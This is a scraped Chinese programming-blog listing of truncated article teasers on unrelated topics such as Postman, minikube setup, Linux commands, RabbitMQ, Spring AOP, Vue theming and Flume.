一 什么是chatGPT chatGPT全称是Generative Pre-trained Transformer&#xff0c;它是一种专注于对话生成的语言模型&#xff0c;可以根据用户的文本输入&#xff0c;做出相应的智能回答。chatGPT是由OpenAI于2018年研发的语言模型&#xff0c;其中OpenAI是于2015年由特斯拉的…

Postman新手教程

博主简介&#xff1a;想进大厂的打工人博主主页&#xff1a;xyk:所属专栏: JavaEE初阶 目录 文章目录 一、Postman背景介绍 二、Postman下载地址 三、Postman简单使用 一、Postman背景介绍 Postman是Chrome插件类产品中的代表产品之一&#xff0c;这款网页调试工具不仅可以调…

位图布隆过滤器

位图 概念&#xff1a;就是用每一位来存放某种状态&#xff0c;适用于海量数据&#xff0c;数据无重复的场景。通常是用来判断某个数据存不存在的。 比如&#xff0c;需要在40亿个整数中&#xff0c;查看某个数是否存在&#xff1f; 1G1024M*1024KB*1024B~10亿字节~80亿比特。…

k8s实战篇1-用minikube发布服务hello-minikube

1 安装minikube curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-darwin-amd64 sudo install minikube-darwin-amd64 /usr/local/bin/minikube 2 Install kubectl binary with curl on macOS 1 Download the latest release: curl -LO "h…

Eclipse Ⅶ

哈喽各位&#xff0c;今天继续分享第七部分的内容&#xff0c;喜欢可以点赞和收藏&#xff0c;这是我的动力来源hahahhah&#xff01; 今天谈谈Eclipse 生成 jar 包、Eclipse 关闭项目以及Eclipse 编译项目。 废话不多说&#xff0c;开始咯&#xff01; Eclipse 生成 jar 包…

Linux常见指令-2

我们本期继续学习Linux基本指令&#xff0c;没有看过第一期的小伙伴建议先看第一期 (4条消息) Linux常见指令-1_KLZUQ的博客-CSDN博客 目录 15.时间相关指令 16.cal指令 17.find指令 18.grep指令 19.zip/unzip指令 20.tar指令 21.bc指令 22.uname –r指令 22.重要的几…

PMP考试总结-2023-05-27

目录 前言 为什么会参加PMP考试&#xff1f; 那么什么是PMP&#xff1f; Plan 目标&#xff1a; 方式方法&#xff1a; 达标标准&#xff1a; Do 执行内容&#xff1a; Check 执行效果 计划的复盘 一、考试前及当天的计划&#xff1a; 二、整个备考计划&#xff…

如何正确地使用ES6提高我们的代码质量

前言 相信每个前端工程师&#xff0c;或者了解前端的人都知道ES6。它是js的一次巨变&#xff0c;它为我们开发js前端项目的时候带来了许多更好的去书写代码的方式。但是很多时候我们可能都没有过度地去关注优化代码这一块内容&#xff0c;哪怕有也只是注意到了一些比较大众化&…

Linux进程概念引入

文章目录 冯诺依曼体系操作系统概念设计目的定位系统调用和库函数的概念 进程概念描述进程PCBtask_struct内容分类 组织进程查看进程通过系统调用获取进程标识符通过系统调用创建进程 冯诺依曼体系 目前我们的计算机基本都是遵守冯诺依曼体系的&#xff0c;在冯诺依曼体系中&am…

[Kubernetes] - RabbitMQ学习

1.消息队列 消息&#xff1a; 在应用间传送的数据队列&#xff0c;先进先出 1.2. 作用 好处&#xff1a;解耦&#xff0c; 容错&#xff0c;削峰坏处&#xff1a;降低系统可用性&#xff0c;系统复杂度提高&#xff0c;一致性问题&#xff1b; RabbitMQ组成部分&#xff1a…

云上高校导航 导入 与 配置教程

开通 云开发 功能&#xff08;首月免费&#xff0c;次月19.9&#xff09;&#xff0c;激活 云数据库、云存储和云函数 功能。 将 项目 文件夹下 最新版本的 文件夹下的 Cloud-based_University_Navigation 整个文件夹 复制到项目路径下&#xff08;比如 D:\WeChatProjects&…

Zabbix Server Api批量添加Zabbix Agent

脚本或使用自动化工具来批量添加Zabbix Agent&#xff0c;从而减少手动操作和提高效率 使用API添加主机可以减少人为错误的发生。通过自动化和脚本&#xff0c;可以确保正确的配置被应用到每个主机上&#xff0c;避免了手动操作可能导致的配置错误。 使用前提条件 1、zabbix…

C919用了哪些人工智能(AI)技术?

#国产大飞机C919商业首飞#近日&#xff0c;C919在国人的期盼下终于迎来了首次商飞&#xff0c;机票已公开售卖。众所周知&#xff0c;C919是一款全新的、先进的大飞机&#xff0c;那你知道它采用了哪些新的人工智能&#xff08;AI&#xff09;技术吗&#xff1f;下面让我来为大…

[golang 微服务] 2. RPC架构介绍以及通过RPC实现微服务

一.简介 在上一节简单了解了微服务定义和优缺点之后&#xff0c;在使用微服务框架之前&#xff0c;需要首先了解一下RPC架构,通过RPC可以更形象了解微服务的工作流程 RPC的概念 RPC(Remote Procedure Call Protocol)&#xff0c;是 远程过程调用的缩写&#xff0c;通俗的说就是…

【提示学习】HPT: Hierarchy-aware Prompt Tuning for Hierarchical Text Classification

论文信息 名称内容论文标题HPT: Hierarchy-aware Prompt Tuning for Hierarchical Text Classification论文地址https://arxiv.org/abs/2204.13413研究领域NLP, 文本分类, 提示学习, 层级标签文本分类提出模型HPT(Hierarchy-aware Prompt Tuning)来源EMNLP 2022源码https://gi…

SpringBoot AOP切面编程 使用案例

参考资料 Springboot AOP实现指定敏感字段数据加密 &#xff08;数据加密篇 二&#xff09;【SpringBoot-3】切面AOP实现权限校验&#xff1a;实例演示与注解全解【小家Spring】Spring AOP中Pointcut切入点表达式最全面使用介绍AOP编程过程中的Signature接口 本篇文章核心思想…

(详解)vue中实现主题切换的三种方式

目录 一、背景 二、实现思路 方法1&#xff1a;定义全局的CSS变量 方法2&#xff1a;切换已定义好的css文件 方法3&#xff1a;切换顶级CSS类名 (需使用css处理器,如sass、less等) 一、背景 在我们开发中我们会遇到像是需要切换程序风格、主题切换啦这种应用场景。 参考大佬…

经典智能合约案例之发红包

经典智能合约案例&#xff1a;发红包 角色分析&#xff1a;发红包的人和抢红包的人 功能分析&#xff1a; 发红包&#xff1a;发红包的功能&#xff0c;可以借助构造函数实现&#xff0c;核心是将ether打入合约&#xff1b; 抢红包&#xff1a;抢红包的功能&#xff0c;抢成…

Flume系列:案例-Flume 聚合拓扑(常见的日志收集结构)

目录 Apache Hadoop生态-目录汇总-持续更新 1&#xff1a;案例需求-实现聚合拓扑结构 3&#xff1a;实现步骤&#xff1a; 2.1&#xff1a;实现flume1.conf - sink端口4141 2.2&#xff1a;实现flume2.conf- sink端口4141 2.3&#xff1a;实现flume3.conf - 监听端口4141 …